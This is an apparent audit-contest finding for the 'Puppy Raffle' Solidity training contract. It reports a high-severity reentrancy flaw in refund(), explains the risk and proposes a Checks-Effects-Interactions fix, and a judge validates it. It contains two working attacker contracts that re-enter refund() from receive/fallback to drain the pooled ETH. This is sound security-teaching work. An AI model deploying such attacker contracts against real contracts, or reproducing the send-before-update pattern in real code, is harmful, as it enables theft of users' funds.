Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() allows draining all contract funds

Root + Impact

Description

  • The refund function is intended to return a player's entrance fee and mark them inactive by zeroing their slot in the players array.

  • The function sends ETH to the caller before zeroing their slot, violating Checks-Effects-Interactions. A malicious contract can re-enter refund from its receive/fallback while its slot is still populated, passing the same checks repeatedly and withdrawing another entranceFee each time until the contract is drained.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee); // INTERACTION before EFFECT
players[playerIndex] = address(0); // EFFECT runs too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any player can call refund, and entering the raffle through a contract is permissionless and trivial.

  • The re-entry fires whenever the refunded address is a contract whose receive/fallback re-calls refund.

Impact:

  • An attacker drains the entire ETH balance of the contract in a single transaction — their own fee plus every other player's deposit.

  • The raffle is left with zero balance; all pooled participant funds are lost.

Proof of Concept

With 4 honest players (4 ETH pooled) and the attacker adding 1 ETH, the attack ends with the raffle holding 0 ETH and the attacker holding 5 ETH.

interface IRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerIndex) external;
function getActivePlayerIndex(address player) external view returns (uint256);
function entranceFee() external view returns (uint256);
}
contract AttackRaffle {
IRaffle public raffle;
uint256 public entranceFee;
uint256 public attackerIndex;
constructor(address _raffle) {
raffle = IRaffle(_raffle);
entranceFee = raffle.entranceFee();
}
function attack() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: entranceFee}(p);
attackerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(attackerIndex);
}
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackerIndex);
}
}
}

The nested refund → receive → refund loop repeats because players[playerIndex] is never zeroed before the ETH is sent, draining the full pool in one transaction.

Recommended Mitigation

Apply Checks-Effects-Interactions — update state before the external call. Optionally add a nonReentrant guard.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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